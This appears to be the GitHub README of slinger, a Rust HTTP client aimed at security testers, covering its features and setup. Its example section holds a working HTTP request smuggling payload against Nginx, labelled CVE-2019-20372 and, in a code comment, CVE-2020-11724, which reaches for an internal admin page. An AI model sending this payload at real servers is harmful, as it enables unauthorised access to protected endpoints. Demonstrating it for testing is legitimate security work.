Awesome
<!-- Improved compatibility of back to top link: See: https://github.com/emo-crab/slinger/pull/73 --><a name="readme-top"></a>
<!-- *** Thanks for checking out the slinger. If you have a suggestion *** that would make this better, please fork the repo and create a pull request *** or simply open an issue with the tag "enhancement". *** Don't forget to give the project a star! *** Thanks again! Now go create something AMAZING! :D --> <!-- PROJECT SHIELDS --> <!-- *** I'm using markdown "reference style" links for readability. *** Reference links are enclosed in brackets [ ] instead of parentheses ( ). *** See the bottom of this document for the declaration of the reference variables *** for contributors-url, forks-url, etc. This is an optional, concise syntax you may use. *** https://www.markdownguide.org/basic-syntax/#reference-style-links --> <!-- PROJECT LOGO --> <br /> <div align="center"> <a href="https://github.com/emo-crab/slinger"> <img src="images/logo.svg" alt="Logo"> </a> <h3 align="center">slinger(投石器)</h3> <p align="center"> An HTTP Client for Rust designed for hackers. <br /> <a href="https://github.com/emo-crab/slinger"><strong>Explore the docs »</strong></a> <br /> <br /> <a href="https://github.com/emo-crab/slinger">View Demo</a> · <a href="https://github.com/emo-crab/slinger/issues">Report Bug</a> · <a href="https://github.com/emo-crab/slinger/issues">Request Feature</a> </p> </div> <!-- ABOUT THE PROJECT -->About The Project
- customizable redirect policy
- http/https and socks5/socks5h proxies
- cookie store
- raw socket request
- HTTPS via tls
Getting Started
This example enables some optional features, so your Cargo.toml
could look like this:
[dependencies]
slinger = { version = "0.1.2", features = ["serde", "cookie", "charset", "tls", "gzip"] }
And then the code:
fn main() -> Result<(), Box<dyn std::error::Error>> {
let resp = slinger::get("https://httpbin.org/get")?;
println!("{:?}", resp.text());
Ok(())
}
<!-- USAGE EXAMPLES -->
Example
- Nginx - Http Smuggling CVE-2019-20372
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};
/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
fn main() -> Result<(), Box<dyn std::error::Error>> {
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::new().build().unwrap();
let mut raw = Vec::new();
// replace \n to \r\n
for line in RAW.lines() {
match line {
Ok(l) => {
raw.extend(l.as_bytes());
raw.extend(b"\r\n")
}
Err(err) => {
println!("{:?}", err);
}
}
}
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send()?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
Ok(())
}
For more examples, please refer to the example
<p align="right">(<a href="#readme-top">back to top</a>)</p> <!-- CONTRIBUTING -->Contributing
Contributions are what make the open source community such an amazing place to learn, inspire, and create. Any contributions you make are greatly appreciated.
If you have a suggestion that would make this better, please fork the repo and create a pull request. You can also simply open an issue with the tag "enhancement". Don't forget to give the project a star! Thanks again!
- Fork the Project
- Create your Feature Branch (
git checkout -b feature/AmazingFeature
) - Commit your Changes (
git commit -m 'Add some AmazingFeature'
) - Push to the Branch (
git push origin feature/AmazingFeature
) - Open a Pull Request
License
Distributed under the GPL-3.0-only
License. See LICENSE
for more information.
Contact
Your Name - @Kali_Team - root@kali-team.cn
Project Link: https://github.com/emo-crab/slinger
<p align="right">(<a href="#readme-top">back to top</a>)</p> <!-- ACKNOWLEDGMENTS -->